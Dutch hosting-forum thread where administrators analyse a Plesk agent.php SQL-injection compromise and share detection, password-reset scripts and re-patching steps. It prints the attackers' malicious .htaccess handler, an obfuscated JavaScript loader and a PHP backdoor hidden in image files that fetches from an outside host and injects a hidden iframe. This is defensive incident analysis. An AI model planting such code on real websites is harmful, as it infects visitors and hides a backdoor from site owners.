Onderwerp: Remote exploit Plesk API

Er is onlangs een remote exploit voor Plesk gepubliceerd. Parallels heeft deze niet echt duidelijk in het nieuws gebracht, zoals ze eigenlijk nooit doen, maar het is wel degelijk een serieus probleem. Op onderstaande links kun je meer informatie vinden over deze bug en de manier waarop je deze kan verhelpen. Wij zijn niet echt een Parallels Plesk shop, dus misschien is dit bij de Plesk gebruikers beter bekend.

Beschrijving bug:
http://arstechnica.com/business/news...ed-to-anon.ars

Fix van Parallels:
http://kb.parallels.com/en/113321

Blijkbaar onderschatten een hoop partijen deze mailing. Voornamelijk door de belachelijke manier van communiceren vanuit paralells. Mocht je deze patch niet toepassen dan is je panel vatbaar om zonder authenticatie mutaties uit te voeren. Het betreft hier een non public exploit die ondanks dat goed benut wordt.

Wat wij dusver gezien hebben is dat ze websites aanpassen, en vooralsnog lijkt het deels handwerk, deels automatisch. Ondanks er bijvoorbeeld wordpress sites zijn, wordt er niet op dezelfde plekken hetzelfde gedaan. Ook wordt er maar een selectief aantal websites aangepast.

In principe (en dat is wat ik dus zover gezien en waargenomen heb) bestaat deze lichting uit het volgende

1 mutatie js file
1 mutatie png, jpg, gif (image)
1 nieuwe htaccess file (meestal in images folder)

htaccess ziet er zo uit

PHP Code:

AddHandler application/x-httpd-php .gif .jpg .jpeg .png
php_flag short_open_tag Off
php_flag display_errors off 


js file heeft een nieuwe lijn onderaan

Code:

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/useruploads/images/2_a.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();

het rode deel is variabel

het plaatje zelf wordt aangepast, en van php code voorzien

PHP Code:

if ($_COOKIE["a"] == "check") {
    //
    header("Content-type: text/plain");
    echo "al" . "ive";
    exit();
 
} else {
    //
    if (isset($_GET["js"]) && (stristr($ua, "firefox") || stristr($ua, "msie"))) {
        //
        $url = file_get_contents("http://<KNIP>.com/track.php?ip=" . $ip . "&getgate");
 
        if ($url && !stristr($url, "not_available_now")) {
            header("Content-type: text/javascript");
            echo "document.write(\"<ifr" . "ame src='" . $url . "' width=0 height=0 frameborder=0 marginheight=0 marginwidth=0 scrolling=no></ifr"."ame>\")";
            exit();
        }
    }
 
    //
    header("Content-type: image/" . array_pop(explode(".", $nm)));
    echo base64_decode($ri);
    exit(); 


Het originele plaatje wordt base64 encoded, en in een string toegevoegd. Voor een bezoeker blijft de website ondanks de php code werken omdat het plaatje uiteindelijk weergegeven wordt.

Mocht je dus bovenstaand tegen komen, zou je door middel van een zelfbouw scanner en een geplaatste cookie kunnen indexeren welke sites geïnfecteerd zijn. Het gaat om dit stukje code dat dat mogelijk maakt.

PHP Code:

if ($_COOKIE["a"] == "check") {
    //
    header("Content-type: text/plain");
    echo "al" . "ive";
    exit();
 
} 


Zo zullen ook die geïnfecteerde sites geïndexeerd worden en gecontroleerd.

Scott van atomic rocket turtle is een van de weinige die inhoudelijk meer erover gepost heeft, ik quote dan ook zijn post op het forum daar. Het is meer informatie dan je ooit van paralells zelf zult krijgen:

Yeah they lack full information. There is no exploit in the newer proftp in the context of this attack. What happened is

1) agent.php was exploitable via an sql injection attack.
2) Around the end of january (25th is the oldest event we've had reported) the attackers launched a worm/botnet/etc that:
2a) Enumerated plesk servers globally
2b) Identified vulnerable plesk servers (8.2 thru 10.3)
2c) Dumped the username and password databases from vulnerable plesk servers

At this point the attackers have all the credentials for the enumerated systems. The next major attack happens in mid february
3) Attack uses the vulnerable agent.php injection to upload bot code via the file manager. Note, this is unauthenticated.
4) about this time people start patching the systems, so the agent.php vector is largely going away.
5) As systems are cleaned & patched, the attackers come back using the authentication data they collected in 2c. The upload vectors are: Plesk file manager, ftp, sftp.

Bovenstaand is een eenmalige post, puur omdat bovenstaand belang groter is dan een persoonlijk belang. Contact via wht wordt niet meer op gereageerd, mocht iemand me voor bovenstaand nodig hebben dan kan dat via de andere welbekende weg namelijk e-mail. Inhoudelijk reageer ik dus niet meer.

Het detecteren van de hack is sowieso moeizaam. De meeste hints krijg je door in de /var/log/secure* ips te bekijken. Veelal is het één ip die op één dag een 20 tot 30tal websites aanpast. Het lijkt legitiem, het is allesbehalve dat.

Voor diegene die logcycles sporadisch toepassen, zou je ook nog in je xferlog.legacy kunnen greppen op de afgelopen 14 dagen en kijken naar de mutaties op .js files en .htaccess files.

Succes, gewaarschuwd iemand telt voor 2 ;-)

Mike.

Bedankt Mikey voor die uitgebreide post. Die files zijn dus bijna exact die files die ik dit weekend ook heb aangetroffen. Ik heb zelf de xferlog doorgespit (zoveel wordt er niet ge-ftp-ed op mijn server) dus het was vrij makkelijk te achterhalen. Ik heb zelf na de update zowel Agent.php als agent.php gerenamed en dat lijkt geen negatief effect te hebben op de werking van de server (ik gebruik de api niet). Ook heb ik de FTP poort aangepast. Security by obscurity, want die lui gaan vaak over naar een volgende server als ze niet binnen kunnen komen.

Ik vraag me af of er een manier is om een bulk password reset te doen. Ik heb dit weekend met de hand bijna alle passwords lopen aanpassen.. en heb er nog een groot aantal te gaan.

doe er je voordeel mee:

// edit. mkpasswd is onderdeel van package expect ("yum install expect")

plesk panel users:

PHP Code:

#!/bin/sh
ADMIN_PASS=`cat /etc/psa/.psa.shadow`
MYSQL_BIN_D=`grep MYSQL_BIN_D /etc/psa/psa.conf | awk '{print $2}'`
mysql="${MYSQL_BIN_D}/mysql -N -uadmin -p${ADMIN_PASS} psa"
query="select name from domains where htype = 'vrt_hst';"
users=`echo $query | $mysql `
for i in ${users}; do
export PSA_PASSWORD=$(mkpasswd)
/usr/local/psa/bin/domadmin --update $i -passwd ''
echo "$i $PSA_PASSWORD" >> panel_users
done 


complete lijst met user & pass te vinden in panel_users. Dit update alle wachtwoorden, ook de wachtwoorden waarbij de user geen panel rechten heeft.



ftp & shell users

PHP Code:

#!/bin/sh
ADMIN_PASS=`cat /etc/psa/.psa.shadow`
MYSQL_BIN_D=`grep MYSQL_BIN_D /etc/psa/psa.conf | awk '{print $2}'`
mysql="${MYSQL_BIN_D}/mysql -N -uadmin -p${ADMIN_PASS} psa"
query="select login from sys_users;"
users=`echo $query | $mysql `
for i in ${users}; do
export PSA_PASSWD=$(mkpasswd)
/usr/local/psa/admin/bin/usermng --set-user-passwd --user=$i;
echo "$i $PSA_PASSWD" >> shell_users
done 


complete lijst met user & pass te vinden in shell_users

Op dit moment zijn er geen aanwijzing dat er ook e-mail en mysql misbruikt wordt. Maar ga er maar vanuit dat dit op lange termijn ook nog een aparte goudmijn is waarbij er heel veel geldige smtp users zijn.

Het enige dat zal helpen is alles te patchen en tools te verwijderen en dan alle passw. te wijzigen, let op ALLE! (ftp, mysql, etc.) en letop van alle accounts op de server(s).

Ik heb wel diverse logs in mijn GET en POST naar /enterprise/control/agent.php

Maar als ik mijn xferlog bestanden kijk naar bijvoorbeeld de .htaccess wijzigingen zie ik geen rare dingen.
Heeft iemand een idee hoe ik kan uitsluiten of ik gehackt ben. En stel dat het gelukt is, hebben ze dan alle gebruikersnamen & wachtwoorden als plain tekst buit gemaakt? Heb eigelijk weinig zin om een 100-tal klanten te informeren met nieuwe gebruikersnaam en wachtwoorden..

Plesk geeft zelf aan dat deze bug in MU # 11 is gefixd. Deze is gereleased op 2 sept

Parallels Plesk Panel 9.5.4 MU #11 [02-Sep-2011]

[-] SQL injection vulnerability fixed.

Snap ik het niet meer?

Oorspronkelijk geplaatst door Daan__

Ik heb wel diverse logs in mijn GET en POST naar /enterprise/control/agent.php

Maar als ik mijn xferlog bestanden kijk naar bijvoorbeeld de .htaccess wijzigingen zie ik geen rare dingen.
Heeft iemand een idee hoe ik kan uitsluiten of ik gehackt ben. En stel dat het gelukt is, hebben ze dan alle gebruikersnamen & wachtwoorden als plain tekst buit gemaakt? Heb eigelijk weinig zin om een 100-tal klanten te informeren met nieuwe gebruikersnaam en wachtwoorden..

Beter het zekere voor het onzekere toch?

Sorry, maar ze hadden helemaal niets gefixed! Ze hebben duidelijk verzuimd om tijdig info en patches ter beschikking te stellen.

Oorspronkelijk geplaatst door drex

Sorry, maar ze hadden helemaal niets gefixed! Ze hebben duidelijk verzuimd om tijdig info en patches ter beschikking te stellen.

Absoluut mee eens. Je mag van Plesk minstens zo'n uitgebreide post als van Mikey verwachten en niet slechts een enkel bericht. Mijn ervaringen met Plesk en support zijn sowieso erg slecht. Hoe is de ervaring van anderen hiermee?

Naar aanleiding van mijn post heb ik inmiddels meerdere plesk servers gezien. Wat er gaande is, is duidelijk een spinup naar iets veel groters. Scott had het over fase 1 en 2. Ik denk dat er een derde fase bijhoort. Voor de buitenwereld en beheerder is er op dit moment dus niets aan de hand. Websites werken en er wordt _nog_ niets abused. Je kan deze indexatie meer zien als een grote pot met honing, die indien nodig dus gechecked, opgezet en uitgebuit kan worden. De cookie check met alive zit er niet voor niets in. Ook zit er een bewuste tijd keus tussen de agent check / abuse en aanpassen van de websites. In sommige gevallen valt dit kort met de log rotatie. Veel systemen roteren waarbij je met 4 weken de logfiles kwijt bent.

@Daan zijn er klanten die gebruik maken van de api ? Zoja controlleer in ieder geval de ip adressen. Zo niet, dan zou je aan de hand van de response size misschien een indicatie kunnen vormen of er wel of niet misbruik is gemaakt. Ook zou je niet verbaasd moeten zijn dat de users & pws buitgemaakt zijn, maar op dit moment dus nog niet misbruikt. Door de gebrekkige communicatie vanuit plesk weet dus helemaal niemand waar iedereen aan toe is.

Hi,

first of all sorry for posting in english, but my Dutch is not yet good enough...

Some minor corrections to the stuff posted above:

- Plesk is vulnerable to the hack since version 7.6.1, the oldest infected system I found was 8.0.1
- The oldest hack attack against the vulnerability I found was from October 2010, as it seems to test and modify the password extraction

I posted here a way how you can find out, if passwords were fetched from your system. If you didn't modify the Plesk logrotation, it should still be good to show you all incidents back to December.

As it seems, sometimes the Plesk Patch mechanism was NOT working as it should. I found a fully patched Plesk 9.5.4 still open. Therefore:

Check the date of the file /usr/local/psa/admin/plib/api-rpc/Agent.php - this is the file replaced by the patch (its loaded during the SQL injection from the agent.php file named by Parallels). If this file date is too old, follow those steps below:

- remove /root/.autoinstaller/microupdates.xml
- run the autoinstaller for Plesk again, to re-patch the system

Hope that helps.

Thanks mr_coko!

Volgende de post van mr_coko is mijn systeem clean.
Toch is het bizar dat een partij als Parallells hier zo eenvoudig mee omgaat.

Kunnen we geen claim met z'n allen gaan opzetten? :-)

Inmiddels is inderdaad duidelijk dat op (in ieder geval de 9 branche) de autoupdater niet alle microupdates binnenhaalt, waardoor je ten onrechte dacht volledig up2date te zijn.
Het verwijderen van /root/.autoinstaller/microupdates.xml en het opnieuw starten van de autoinstaller lijkt dan ineens microupdate 14 t/m17 binnen te halen.